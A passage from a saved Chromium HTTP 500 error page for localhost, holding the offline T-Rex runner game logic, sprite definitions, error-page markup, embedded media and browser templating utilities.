bgElAddFunction();
}
},
/**
* Update the cloud positions.
* @param {number} deltaTime
* @param {number} speed
*/
updateClouds(deltaTime, speed) {
const elSpeed = this.cloudSpeed / 1000 * deltaTime * speed;
this.updateBackgroundEl(
elSpeed, this.clouds, this.config.MAX_CLOUDS, this.addCloud.bind(this),
this.cloudFrequency);
// Remove expired elements.
this.clouds = this.clouds.filter((obj) => !obj.remove);
},
/**
* Update the background element positions.
* @param {number} deltaTime
* @param {number} speed
*/
updateBackgroundEls(deltaTime, speed) {
this.updateBackgroundEl(
deltaTime, this.backgroundEls, BackgroundEl.config.MAX_BG_ELS,
this.addBackgroundEl.bind(this), this.cloudFrequency);
// Remove expired elements.
this.backgroundEls = this.backgroundEls.filter((obj) => !obj.remove);
},
/**
* Update the obstacle positions.
* @param {number} deltaTime
* @param {number} currentSpeed
*/
updateObstacles(deltaTime, currentSpeed) {
const updatedObstacles = this.obstacles.slice(0);
for (let i = 0; i < this.obstacles.length; i++) {
const obstacle = this.obstacles[i];
obstacle.update(deltaTime, currentSpeed);
// Clean up existing obstacles.
if (obstacle.remove) {
updatedObstacles.shift();
}
}
this.obstacles = updatedObstacles;
if (this.obstacles.length > 0) {
const lastObstacle = this.obstacles[this.obstacles.length - 1];
if (lastObstacle && !lastObstacle.followingObstacleCreated &&
lastObstacle.isVisible() &&
(lastObstacle.xPos + lastObstacle.width + lastObstacle.gap) <
this.dimensions.WIDTH) {
this.addNewObstacle(currentSpeed);
lastObstacle.followingObstacleCreated = true;
}
} else {
// Create new obstacles.
this.addNewObstacle(currentSpeed);
}
},
removeFirstObstacle() {
this.obstacles.shift();
},
/**
* Add a new obstacle.
* @param {number} currentSpeed
*/
addNewObstacle(currentSpeed) {
const obstacleCount =
Obstacle.types[Obstacle.types.length - 1].type != 'COLLECTABLE' ||
(Runner.isAltGameModeEnabled() && !this.altGameModeActive ||
this.altGameModeActive) ?
Obstacle.types.length - 1 :
Obstacle.types.length - 2;
const obstacleTypeIndex =
obstacleCount > 0 ? getRandomNum(0, obstacleCount) : 0;
const obstacleType = Obstacle.types[obstacleTypeIndex];
// Check for multiples of the same type of obstacle.
// Also check obstacle is available at current speed.
if ((obstacleCount > 0 && this.duplicateObstacleCheck(obstacleType.type)) ||
currentSpeed < obstacleType.minSpeed) {
this.addNewObstacle(currentSpeed);
} else {
const obstacleSpritePos = this.spritePos[obstacleType.type];
this.obstacles.push(new Obstacle(
this.canvasCtx, obstacleType, obstacleSpritePos, this.dimensions,
this.gapCoefficient, currentSpeed, obstacleType.width,
this.altGameModeActive));
this.obstacleHistory.unshift(obstacleType.type);
if (this.obstacleHistory.length > 1) {
this.obstacleHistory.splice(Runner.config.MAX_OBSTACLE_DUPLICATION);
}
}
},
/**
* Returns whether the previous two obstacles are the same as the next one.
* Maximum duplication is set in config value MAX_OBSTACLE_DUPLICATION.
* @return {boolean}
*/
duplicateObstacleCheck(nextObstacleType) {
let duplicateCount = 0;
for (let i = 0; i < this.obstacleHistory.length; i++) {
duplicateCount =
this.obstacleHistory[i] === nextObstacleType ? duplicateCount + 1 : 0;
}
return duplicateCount >= Runner.config.MAX_OBSTACLE_DUPLICATION;
},
/**
* Reset the horizon layer.
* Remove existing obstacles and reposition the horizon line.
*/
reset() {
this.obstacles = [];
for (let l = 0; l < this.horizonLines.length; l++) {
this.horizonLines[l].reset();
}
this.nightMode.reset();
},
/**
* Update the canvas width and scaling.
* @param {number} width Canvas width.
* @param {number} height Canvas height.
*/
resize(width, height) {
this.canvas.width = width;
this.canvas.height = height;
},
/**
* Add a new cloud to the horizon.
*/
addCloud() {
this.clouds.push(new Cloud(this.canvas, this.spritePos.CLOUD,
this.dimensions.WIDTH));
},
/**
* Add a random background element to the horizon.
*/
addBackgroundEl() {
const backgroundElTypes =
Object.keys(Runner.spriteDefinition.BACKGROUND_EL);
if (backgroundElTypes.length > 0) {
let index = getRandomNum(0, backgroundElTypes.length - 1);
let type = backgroundElTypes[index];
// Add variation if available.
while (type == this.lastEl && backgroundElTypes.length > 1) {
index = getRandomNum(0, backgroundElTypes.length - 1);
type = backgroundElTypes[index];
}
this.lastEl = type;
this.backgroundEls.push(new BackgroundEl(
this.canvas, this.spritePos.BACKGROUND_EL, this.dimensions.WIDTH,
type));
}
},
};
</script>
<script>// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/* @const
* Add matching sprite definition and config to Runner.spriteDefinitionByType.
*/
const GAME_TYPE = [];
/**
* Obstacle definitions.
* minGap: minimum pixel space between obstacles.
* multipleSpeed: Speed at which multiples are allowed.
* speedOffset: speed faster / slower than the horizon.
* minSpeed: Minimum speed which the obstacle can make an appearance.
*
* @typedef {{
* type: string,
* width: number,
* height: number,
* yPos: number,
* multipleSpeed: number,
* minGap: number,
* minSpeed: number,
* collisionBoxes: Array<CollisionBox>,
* }}
*/
let ObstacleType;
/**
* T-Rex runner sprite definitions.
*/
Runner.spriteDefinitionByType = {
original: {
LDPI: {
BACKGROUND_EL: {x: 86, y: 2},
CACTUS_LARGE: {x: 332, y: 2},
CACTUS_SMALL: {x: 228, y: 2},
OBSTACLE_2: {x: 332, y: 2},
OBSTACLE: {x: 228, y: 2},
CLOUD: {x: 86, y: 2},
HORIZON: {x: 2, y: 54},
MOON: {x: 484, y: 2},
PTERODACTYL: {x: 134, y: 2},
RESTART: {x: 2, y: 68},
TEXT_SPRITE: {x: 655, y: 2},
TREX: {x: 848, y: 2},
STAR: {x: 645, y: 2},
COLLECTABLE: {x: 2, y: 2},
ALT_GAME_END: {x: 121, y: 2},
},
HDPI: {
BACKGROUND_EL: {x: 166, y: 2},
CACTUS_LARGE: {x: 652, y: 2},
CACTUS_SMALL: {x: 446, y: 2},
OBSTACLE_2: {x: 652, y: 2},
OBSTACLE: {x: 446, y: 2},
CLOUD: {x: 166, y: 2},
HORIZON: {x: 2, y: 104},
MOON: {x: 954, y: 2},
PTERODACTYL: {x: 260, y: 2},
RESTART: {x: 2, y: 130},
TEXT_SPRITE: {x: 1294, y: 2},
TREX: {x: 1678, y: 2},
STAR: {x: 1276, y: 2},
COLLECTABLE: {x: 4, y: 4},
ALT_GAME_END: {x: 242, y: 4},
},
MAX_GAP_COEFFICIENT: 1.5,
MAX_OBSTACLE_LENGTH: 3,
HAS_CLOUDS: 1,
BOTTOM_PAD: 10,
TREX: {
WAITING_1: {x: 44, w: 44, h: 47, xOffset: 0},
WAITING_2: {x: 0, w: 44, h: 47, xOffset: 0},
RUNNING_1: {x: 88, w: 44, h: 47, xOffset: 0},
RUNNING_2: {x: 132, w: 44, h: 47, xOffset: 0},
JUMPING: {x: 0, w: 44, h: 47, xOffset: 0},
CRASHED: {x: 220, w: 44, h: 47, xOffset: 0},
COLLISION_BOXES: [
new CollisionBox(22, 0, 17, 16),
new CollisionBox(1, 18, 30, 9),
new CollisionBox(10, 35, 14, 8),
new CollisionBox(1, 24, 29, 5),
new CollisionBox(5, 30, 21, 4),
new CollisionBox(9, 34, 15, 4),
],
},
/** @type {Array<ObstacleType>} */
OBSTACLES: [
{
type: 'CACTUS_SMALL',
width: 17,
height: 35,
yPos: 105,
multipleSpeed: 4,
minGap: 120,
minSpeed: 0,
collisionBoxes: [
new CollisionBox(0, 7, 5, 27),
new CollisionBox(4, 0, 6, 34),
new CollisionBox(10, 4, 7, 14),
],
},
{
type: 'CACTUS_LARGE',
width: 25,
height: 50,
yPos: 90,
multipleSpeed: 7,
minGap: 120,
minSpeed: 0,
collisionBoxes: [
new CollisionBox(0, 12, 7, 38),
new CollisionBox(8, 0, 7, 49),
new CollisionBox(13, 10, 10, 38),
],
},
{
type: 'PTERODACTYL',
width: 46,
height: 40,
yPos: [100, 75, 50], // Variable height.
yPosMobile: [100, 50], // Variable height mobile.
multipleSpeed: 999,
minSpeed: 8.5,
minGap: 150,
collisionBoxes: [
new CollisionBox(15, 15, 16, 5),
new CollisionBox(18, 21, 24, 6),
new CollisionBox(2, 14, 4, 3),
new CollisionBox(6, 10, 4, 7),
new CollisionBox(10, 8, 6, 9),
],
numFrames: 2,
frameRate: 1000 / 6,
speedOffset: .8,
},
],
BACKGROUND_EL: {
'CLOUD': {
HEIGHT: 14,
MAX_CLOUD_GAP: 400,
MAX_SKY_LEVEL: 30,
MIN_CLOUD_GAP: 100,
MIN_SKY_LEVEL: 71,
OFFSET: 4,
WIDTH: 46,
X_POS: 1,
Y_POS: 120,
},
},
BACKGROUND_EL_CONFIG: {
MAX_BG_ELS: 1,
MAX_GAP: 400,
MIN_GAP: 100,
POS: 0,
SPEED: 0.5,
Y_POS: 125,
},
LINES: [
{SOURCE_X: 2, SOURCE_Y: 52, WIDTH: 600, HEIGHT: 12, YPOS: 127},
],
},
};
</script>
</head>
<body id="t" class="neterror" style="font-family: "sans", Arial, sans-serif; font-size: 75%" jstcache="0">
<div id="main-frame-error" class="interstitial-wrapper" jstcache="0">
<div id="main-content" jstcache="0">
<div class="icon icon-generic" jstcache="0"></div>
<div id="main-message" jstcache="0">
<h1 jstcache="0">
<span jsselect="heading" jsvalues=".innerHTML:msg" jstcache="9">This page isn’t working</span>
<a id="error-information-button" class="hidden" onclick="toggleErrorInformationPopup();" jstcache="0"></a>
</h1>
<p jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</p>
<!--The suggestion list and error code are normally presented inline,
in which case error-information-popup-* divs have no effect. When
error-information-popup-container has the use-popup-container class, this
information is provided in a popup instead.-->
<div id="error-information-popup-container" jstcache="0">
<div id="error-information-popup" jstcache="0">
<div id="error-information-popup-box" jstcache="0">
<div id="error-information-popup-content" jstcache="0">
<div id="suggestions-list" style="display:none" jsdisplay="(suggestionsSummaryList && suggestionsSummaryList.length)" jstcache="16">
<p jsvalues=".innerHTML:suggestionsSummaryListHeader" jstcache="18"></p>
<ul jsvalues=".className:suggestionsSummaryList.length == 1 ? 'single-suggestion' : ''" jstcache="19">
<li jsselect="suggestionsSummaryList" jsvalues=".innerHTML:summary" jstcache="21"></li>
</ul>
</div>
<div class="error-code" jscontent="errorCode" jstcache="17">HTTP ERROR 500</div>
<p id="error-information-popup-close" jstcache="0">
<a class="link-button" jscontent="closeDescriptionPopup" onclick="toggleErrorInformationPopup();" jstcache="20">null</a>
</p>
</div>
</div>
</div>
</div>
<div id="download-links-wrapper" class="hidden" jstcache="0">
<div id="download-link-wrapper" jstcache="0">
<a id="download-link" class="link-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
</a>
</div>
<div id="download-link-clicked-wrapper" class="hidden" jstcache="0">
<div id="download-link-clicked" class="link-button" jsselect="downloadButton" jscontent="disabledMsg" jstcache="11" style="display: none;">
</div>
</div>
</div>
<div id="save-page-for-later-button" class="hidden" jstcache="0">
<a class="link-button" onclick="savePageLaterClick()" jsselect="savePageLater" jscontent="savePageMsg" jstcache="10" style="display: none;">
</a>
</div>
<div id="cancel-save-page-button" class="hidden" onclick="cancelSavePageClick()" jsselect="savePageLater" jsvalues=".innerHTML:cancelMsg" jstcache="4" style="display: none;">
</div>
<div id="offline-content-list" class="list-hidden" hidden="" jstcache="0">
<div id="offline-content-list-visibility-card" onclick="toggleOfflineContentListVisibility(true)" jstcache="0">
<div id="offline-content-list-title" jsselect="offlineContentList" jscontent="title" jstcache="12" style="display: none;">
</div>
<div jstcache="0">
<div id="offline-content-list-show-text" jsselect="offlineContentList" jscontent="showText" jstcache="14" style="display: none;">
</div>
<div id="offline-content-list-hide-text" jsselect="offlineContentList" jscontent="hideText" jstcache="15" style="display: none;">
</div>
</div>
</div>
<div id="offline-content-suggestions" jstcache="0"></div>
<div id="offline-content-list-action" jstcache="0">
<a class="link-button" onclick="launchDownloadsPage()" jsselect="offlineContentList" jscontent="actionText" jstcache="13" style="display: none;">
</a>
</div>
</div>
</div>
</div>
<div id="buttons" class="nav-wrapper suggested-right" jstcache="0">
<div id="control-buttons" jstcache="0">
<button id="reload-button" class="blue-button text-button" onclick="reloadButtonClick(this.url);" jsselect="reloadButton" jsvalues=".url:reloadUrl" jscontent="msg" jstcache="5">Reload</button>
<button id="download-button" class="blue-button text-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
</button>
</div>
<button id="details-button" class="secondary-button text-button small-link" onclick="detailsButtonClick(); toggleHelpBox()" jscontent="details" jsdisplay="(suggestionsDetails && suggestionsDetails.length > 0) || diagnose" jsvalues=".detailsText:details; .hideDetailsText:hideDetails;" jstcache="2" style="display: none;"></button>
</div>
<div id="details" class="hidden" jstcache="0">
<div class="suggestions" jsselect="suggestionsDetails" jstcache="3" jsinstance="*0" style="display: none;">
<div class="suggestion-header" jsvalues=".innerHTML:header" jstcache="7"></div>
<div class="suggestion-body" jsvalues=".innerHTML:body" jstcache="8"></div>
</div>
</div>
</div>
<div id="sub-frame-error" jstcache="0">
<!-- Show details when hovering over the icon, in case the details are
hidden because they're too large. -->
<div class="icon" jstcache="0"></div>
<div id="sub-frame-error-details" jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</div>
</div>
<div id="offline-resources" jstcache="0">
<img id="offline-resources-1x" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABNEAAABkBAMAAABayruYAAAAJFBMVEUAAADa2tr/////9/e6urpTU1O5ubn39/f///9ZWVlfX1/z8/O/OctmAAAACXRSTlMA//////////ZO3iNwAAALPElEQVR4AezdwY6bShMF4GP6krX9Bqgk9kiI/SzyAAir9lnlFfL6N26OWhXckDae9mClj/L7L1czMMbfbYDMOCgpKSkpwelyRmIEd6mEhTQpDabvu1C7vsf2ALM6cLlctquVt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M6Eq7WGlGShNp5lmoBm0B4MQVwYzbW0STENOS1AJUTQKLsuso2ARiBRnprfKvsbCo7zdUVpeLrLiG5O6vDX22pguw5y0NIKurDIJqorSROyXvU+ljVaaUZeWXFfedMmX5kyXLlAaCXNkWpcWA0JAaV/PbWkp/09pzmjypek1SmNp0ZWmMEtpoytNfUU7zTVLY2nK0sjPlKa+NGFp5AdKc58INE4/LI0cWloUe6E0TDjxpT1YGtmLaEFEcD8NJkiA6S2xmRGlZYBmDjENOftWDtFCrEyU9WrUBFajsIqElaajTEOuVFpQZKDx3Qr7Mozwx4eYhpyXsJR2m4wsGbzeNcQ9t2QHLf7pKjD1SPM7IVka2UUruKshMMGEISyNHMe8mh6lMrhuc88RDCyN7Gba9xhvlYlaBJ/CI8fSBg0qt9pIEYvpkdrdRhpLI57dXw66Mh+/K3haAuEJMOQ88FQrsoO/etICpT2ul1QAAAAASUVORK5CYII=" jstcache="0">
<img id="offline-resources-2x" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACY4AAADCCAMAAADT9DSoAAAANlBMVEUAAADa2tr/////9/e5ubn39/dTU1P29vbv7+/+/v74+Pjw8PD///9ZWVlfX1/z8/P5+fn///9RgilMAAAAEnRSTlMA///////////////2////9gn80juWAAAR/UlEQVR4AezdAW+jOBPG8QcgVPv9P+xqHQPvu9nrTWWd1enNuY7D/ydpS+gwdqRq44yN0WUBAAAAAAAA06u/sVPPbZZ0/Ie5LNvIEWbRu11msCsK7duYZM4OcaWzf1+rVk13fbTpj1SctXMWZJHluSLYTmxlUBlVxJlkZz/py2a/txeV/o1qls9B3q55/TALAAAAHa16KeU340nT4+gKZq36LesYPMIsWmR2mbGuqGvZxqkrOsct+wNgOAYA2Gy6bysmEo3N/71HKhWzg+W1haTCZqdr06Blu5tSvS/GpLIhAAzHmsxMWyWsqJA980zxKinb+4zWxh4Zs46RIyoVosWqRGNcYRGOrJE2zCTjjzsD+SwysJLTFXdaRCjf+DA7P74yeTvmrdtUKCTWjr2ua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qpYw2BgAAbsunTnFdVOtzXPHWtrEP/ZKt3kCWekh9CAAA4Dr8WY8KSfJ+UbxsY0Wv876J+Ts5aYzGAADA7RT769suh7YuiienX0SV08/HZHUZYzZ2DwAAUMeKQrZoqMgJySVFP2KrC9modHnIpc+/eh8CAAC4Fi+24v8Rk2WsL3bR/+e8ePwBAAC4PFOpTRSoI3P+0x+/VWpybRNaTpfTpFO9HwAAsI2rtGjCgTm/BQAAcB+mW2vy7bOfk+U0STrZzwUAAOY1ATgnAADTMfrmcracLuEs7wcAADAdAwAAuLD/AQPLUxmjjeldAAAAAElFTkSuQmCC" jstcache="0">
<template id="audio-resources" jstcache="0">
<audio id="offline-sound-press" src="data:audio/mpeg;base64,T2dnUwACAAAAAAAAAABVDxppAAAAABYzHfUBHgF2b3JiaXMAAAAAAkSsAAD/////AHcBAP////+4AU9nZ1MAAAAAAAAAAAAAVQ8aaQEAAAC9PVXbEEf//////////////////+IDdm9yYmlzNwAAAEFPOyBhb1R1ViBiNSBbMjAwNjEwMjRdIChiYXNlZCBvbiBYaXBoLk9yZydzIGxpYlZvcmJpcykAAAAAAQV2b3JiaXMlQkNWAQBAAAAkcxgqRqVzFoQQGkJQGeMcQs5r7BlCTBGCHDJMW8slc5AhpKBCiFsogdCQVQAAQAAAh0F4FISKQQghhCU9WJKDJz0IIYSIOXgUhGlBCCGEEEIIIYQQQgghhEU5aJKDJ0EIHYTjMDgMg+U4+ByERTlYEIMnQegghA9CuJqDrDkIIYQkNUhQgwY56ByEwiwoioLEMLgWhAQ1KIyC5DDI1IMLQoiag0k1+BqEZ0F4FoRpQQghhCRBSJCDBkHIGIRGQViSgwY5uBSEy0GoGoQqOQgfhCA0ZBUAkAAAoKIoiqIoChAasgoAyAAAEEBRFMdxHMmRHMmxHAsIDVkFAAABAAgAAKBIiqRIjuRIkiRZkiVZkiVZkuaJqizLsizLsizLMhAasgoASAAAUFEMRXEUBwgNWQUAZAAACKA4iqVYiqVoiueIjgiEhqwCAIAAAAQAABA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njpt9anbc7Nv4yiu/TSuv/Datustxs0/Njpt9aptx82/jm175bVp55bfZ/e5y3OxT24ybfWqbcfNv08orv00rr/w27dfsuNmnthk3+7SVV36bVl75bVqJnUxPzXazT0294mnq2W+TikmmE5LiQb3pAa94mnpFAGxeSf1/jn9mWTgDBjhUUv+f459ZFs6AAQ4AAAAAAIAH/0EYBHEAB6gDzBkAAUxWjEAQk7nWaBZuuKvBN6iqkoMah7sAhnRZ6lFjmllwEgGCAde2zYBzAB5AAH5J/X+Of81ycQZMHI0uqf/P8a9ZLs6AiaMRAAAAAAIAOPgPw0EUEIddhEaDphAAjAhrrgAUlNDwPZKFEPFz2JKV4FqHl6tIxjaQDfQAiJqgZk1GDQgcBuAAfkn9f45/zXLiDBgwuqT+P8e/ZjlxBgwYAQAAAAAAg/8fDBlCDUeGDICqAJAT585AAALkhkHxIHMR3AF8IwmgWZwQhv0DcpcIMeTjToEGKDQAB0CEACgAfkn9f45/LXLiDCiMxpfU/+f41yInzoDCaAwAAAAEg4P/wyANDgAEhDsAujhQcBgAHEakAKBZjwHgANMYAkIDo+L8wDUrrgHpWnPwBBoJGZqDBmBAUAB1QANeOf1/zn53uYQA9ckctMrp/3P2u8slBKhP5qABAAAAAACAIAyCIAiD8DAMwoADzgECAA0wQFMAiMtgo6AATVGAE0gADAQA"></audio>
<audio id="offline-sound-reached" src="data:audio/mpeg;base64,T2dnUwACAAAAAAAAAAA/aj8KAAAAAAKIghABHgF2b3JiaXMAAAAAAkSsAAAAAAAAAHECAAAAAAC4AU9nZ1MAAAAAAAAAAAAAP2o/CgEAAABF7zgqEkT/////////////////////kQN2b3JiaXM0AAAAWGlwaC5PcmcgbGliVm9yYmlzIEkgMjAyMDA3MDQgKFJlZHVjaW5nIEVudmlyb25tZW50KQAAAAABBXZvcmJpcylCQ1YBAAgAAAAxTCDFgNCQVQAAEAAAYCQpDpNmSSmllKEoeZiUSEkppZTFMImYlInFGGOMMcYYY4wxxhhjjCA0ZBUAAAQAgCgJjqP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AJ3mX896xfSgET6DL+e9YvpYAJACCZmZmZmZlZjJmZSQAAgCNVkW6pBGQRjNBQ59BTYBIkoCkkJqBTQoOXA5L8hUrOljeJgTEN5EBTxuO0bfHde2jix+2aejY+YkOx0uQF/Kz6RBo9AQT8YAQsp/BjAb4iAN5l/PesX0oBG+gy/nvWL6WADQAEBMzMzMzMzGLMzMwMAMDB2RACzHB4MV8gA+Ug3owUUGVKYsA3KOhgwH4gHqBIUPlJGAiB1z9VZYB5rNlcXmDhIP5Ku1+qt60Kb2baYbE7u7IWTSczWp/EG1geirEAIBKkMgDeZfz3LF+aAG6gy/jvWb40AdwAAAYBAQEAApAEzMzMBAAAABQoAJcMgFHAACfgZB28r9ZKUKDQ1ze5X+SCM8AAoOANKk0IAw4="></audio>
</template>
</div>
<script jstcache="0">(function(){function l(a,b,c){return Function.prototype.call.apply(Array.prototype.slice,arguments)}function m(a,b,c){var e=l(arguments,2);return function(){return b.apply(a,e)}}function n(a,b){var c=new p(b);for(c.h=[a];c.h.length;){var e=c,d=c.h.shift();e.i(d);for(d=d.firstChild;d;d=d.nextSibling)1==d.nodeType&&e.h.push(d)}}function p(a){this.i=a}function q(a){a.style.display=""}function r(a){a.style.display="none"};var t=/\s*;\s*/;function u(a,b){this.l.apply(this,arguments)}u.prototype.l=function(a,b){this.a||(this.a={});if(b){var c=this.a,e=b.a;for(d in e)c[d]=e[d]}else{var d=this.a;e=v;for(c in e)d[c]=e[c]}this.a.$this=a;this.a.$context=this;this.f="undefined"!=typeof a&&null!=a?a:"";b||(this.a.$top=this.f)};var v={$default:null},w=[];function x(a){for(var b in a.a)delete a.a[b];a.f=null;w.push(a)}function y(a,b,c){try{return b.call(c,a.a,a.f)}catch(e){return v.$default}}
u.prototype.clone=function(a,b,c){if(0<w.length){var e=w.pop();u.call(e,a,this);a=e}else a=new u(a,this);a.a.$index=b;a.a.$count=c;return a};var z;window.trustedTypes&&(z=trustedTypes.createPolicy("jstemplate",{createScript:function(a){return a}}));var A={};function B(a){if(!A[a])try{var b="(function(a_, b_) { with (a_) with (b_) return "+a+" })",c=window.trustedTypes?z.createScript(b):b;A[a]=window.eval(c)}catch(e){}return A[a]}
function E(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c){var d=a[c].indexOf(":");if(!(0>d)){var g=a[c].substr(0,d).replace(/^\s+/,"").replace(/\s+$/,"");d=B(a[c].substr(d+1));b.push(g,d)}}return b};function F(){}var G=0,H={0:{}},I={},J={},K=[];function L(a){a.__jstcache||n(a,function(b){M(b)})}var N=[["jsselect",B],["jsdisplay",B],["jsvalues",E],["jsvars",E],["jseval",function(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c)if(a[c]){var d=B(a[c]);b.push(d)}return b}],["transclude",function(a){return a}],["jscontent",B],["jsskip",B]];
function M(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");if(null!=b)return a.__jstcache=H[b];b=K.length=0;for(var c=N.length;b<c;++b){var e=N[b][0],d=a.getAttribute(e);J[e]=d;null!=d&&K.push(e+"="+d)}if(0==K.length)return a.setAttribute("jstcache","0"),a.__jstcache=H[0];var g=K.join("&");if(b=I[g])return a.setAttribute("jstcache",b),a.__jstcache=H[b];var h={};b=0;for(c=N.length;b<c;++b){d=N[b];e=d[0];var f=d[1];d=J[e];null!=d&&(h[e]=f(d))}b=""+ ++G;a.setAttribute("jstcache",
b);H[b]=h;I[g]=b;return a.__jstcache=h}function P(a,b){a.j.push(b);a.o.push(0)}function Q(a){return a.c.length?a.c.pop():[]}
F.prototype.g=function(a,b){var c=R(b),e=c.transclude;if(e)(c=S(e))?(b.parentNode.replaceChild(c,b),e=Q(this),e.push(this.g,a,c),P(this,e)):b.parentNode.removeChild(b);else if(c=c.jsselect){c=y(a,c,b);var d=b.getAttribute("jsinstance");var g=!1;d&&("*"==d.charAt(0)?(d=parseInt(d.substr(1),10),g=!0):d=parseInt(d,10));var h=null!=c&&"object"==typeof c&&"number"==typeof c.length;e=h?c.length:1;var f=h&&0==e;if(h)if(f)d?b.parentNode.removeChild(b):(b.setAttribute("jsinstance","*0"),r(b));else if(q(b),
null===d||""===d||g&&d<e-1){g=Q(this);d=d||0;for(h=e-1;d<h;++d){var k=b.cloneNode(!0);b.parentNode.insertBefore(k,b);T(k,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,k,x,f,null)}T(b,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,b,x,f,null);P(this,g)}else d<e?(g=c[d],T(b,c,d),f=a.clone(g,d,e),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g)):b.parentNode.removeChild(b);else null==c?r(b):(q(b),f=a.clone(c,0,1),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g))}else this.b(a,b)};
F.prototype.b=function(a,b){var c=R(b),e=c.jsdisplay;if(e){if(!y(a,e,b)){r(b);return}q(b)}if(e=c.jsvars)for(var d=0,g=e.length;d<g;d+=2){var h=e[d],f=y(a,e[d+1],b);a.a[h]=f}if(e=c.jsvalues)for(d=0,g=e.length;d<g;d+=2)if(f=e[d],h=y(a,e[d+1],b),"$"==f.charAt(0))a.a[f]=h;else if("."==f.charAt(0)){f=f.substr(1).split(".");for(var k=b,O=f.length,C=0,U=O-1;C<U;++C){var D=f[C];k[D]||(k[D]={});k=k[D]}k[f[O-1]]=h}else f&&("boolean"==typeof h?h?b.setAttribute(f,f):b.removeAttribute(f):b.setAttribute(f,""+h));
if(e=c.jseval)for(d=0,g=e.length;d<g;++d)y(a,e[d],b);e=c.jsskip;if(!e||!y(a,e,b))if(c=c.jscontent){if(c=""+y(a,c,b),b.innerHTML!=c){for(;b.firstChild;)e=b.firstChild,e.parentNode.removeChild(e);b.appendChild(this.m.createTextNode(c))}}else{c=Q(this);for(e=b.firstChild;e;e=e.nextSibling)1==e.nodeType&&c.push(this.g,a,e);c.length&&P(this,c)}};function R(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");return b?a.__jstcache=H[b]:M(a)}
function S(a,b){var c=document;if(b){var e=c.getElementById(a);if(!e){e=b();var d=c.getElementById("jsts");d||(d=c.createElement("div"),d.id="jsts",r(d),d.style.position="absolute",c.body.appendChild(d));var g=c.createElement("div");d.appendChild(g);g.innerHTML=e;e=c.getElementById(a)}c=e}else c=c.getElementById(a);return c?(L(c),c=c.cloneNode(!0),c.removeAttribute("id"),c):null}function T(a,b,c){c==b.length-1?a.setAttribute("jsinstance","*"+c):a.setAttribute("jsinstance",""+c)};window.jstGetTemplate=S;window.JsEvalContext=u;window.jstProcess=function(a,b){var c=new F;L(b);c.m=b?9==b.nodeType?b:b.ownerDocument||document:document;var e=m(c,c.g,a,b),d=c.j=[],g=c.o=[];c.c=[];e();for(var h,f,k;d.length;)h=d[d.length-1],e=g[g.length-1],e>=h.length?(e=c,f=d.pop(),f.length=0,e.c.push(f),g.pop()):(f=h[e++],k=h[e++],h=h[e++],g[g.length-1]=e,f.call(c,k,h))};
})()</script><script jstcache="0">// Copyright 2012 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @fileoverview
* NOTE: This file is deprecated, and provides only the minimal LoadTimeData
* functions for places in the code still not using JS modules. Use
* load_time_data.m.js in all new code.
*
* This file defines a singleton which provides access to all data
* that is available as soon as the page's resources are loaded (before DOM
* content has finished loading). This data includes both localized strings and
* any data that is important to have ready from a very early stage (e.g. things
* that must be displayed right away).
*
* Note that loadTimeData is not guaranteed to be consistent between page
* refreshes (https://crbug.com/740629) and should not contain values that might
* change if the page is re-opened later.
*/
/** @type {!LoadTimeData} */
// eslint-disable-next-line no-var
var loadTimeData;
class LoadTimeData {
constructor() {
/** @type {?Object} */
this.data_ = null;
}
/**
* Sets the backing object.
*
* Note that there is no getter for |data_| to discourage abuse of the form:
*
* var value = loadTimeData.data()['key'];
*
* @param {Object} value The de-serialized page data.
*/
set data(value) {
expect(!this.data_, 'Re-setting data.');
this.data_ = value;
}
/**
* @param {string} id An ID of a value that might exist.
* @return {boolean} True if |id| is a key in the dictionary.
*/
valueExists(id) {
return id in this.data_;
}
/**
* Fetches a value, expecting that it exists.
* @param {string} id The key that identifies the desired value.
* @return {*} The corresponding value.
*/
getValue(id) {
expect(this.data_, 'No data. Did you remember to include strings.js?');
const value = this.data_[id];
expect(typeof value !== 'undefined', 'Could not find value for ' + id);
return value;
}
/**
* As above, but also makes sure that the value is a string.
* @param {string} id The key that identifies the desired string.
* @return {string} The corresponding string value.
*/
getString(id) {
const value = this.getValue(id);
expectIsType(id, value, 'string');
return /** @type {string} */ (value);
}
/**
* Returns a formatted localized string where $1 to $9 are replaced by the
* second to the tenth argument.
* @param {string} id The ID of the string we want.
* @param {...(string|number)} var_args The extra values to include in the
* formatted output.
* @return {string} The formatted string.
*/
getStringF(id, var_args) {
const value = this.getString(id);
if (!value) {
return '';
}
const args = Array.prototype.slice.call(arguments);
args[0] = value;
return this.substituteString.apply(this, args);
}
/**
* Returns a formatted localized string where $1 to $9 are replaced by the
* second to the tenth argument. Any standalone $ signs must be escaped as
* $$.
* @param {string} label The label to substitute through.
* This is not an resource ID.
* @param {...(string|number)} var_args The extra values to include in the
* formatted output.
* @return {string} The formatted string.
*/
substituteString(label, var_args) {
const varArgs = arguments;
return label.replace(/\$(.|$|\n)/g, function(m) {
expect(m.match(/\$[$1-9]/), 'Unescaped $ found in localized string.');
return m === '$$' ? '$' : varArgs[m[1]];
});
}
/**
* As above, but also makes sure that the value is a boolean.
* @param {string} id The key that identifies the desired boolean.
* @return {boolean} The corresponding boolean value.
*/
getBoolean(id) {
const value = this.getValue(id);
expectIsType(id, value, 'boolean');
return /** @type {boolean} */ (value);
}
/**
* As above, but also makes sure that the value is an integer.
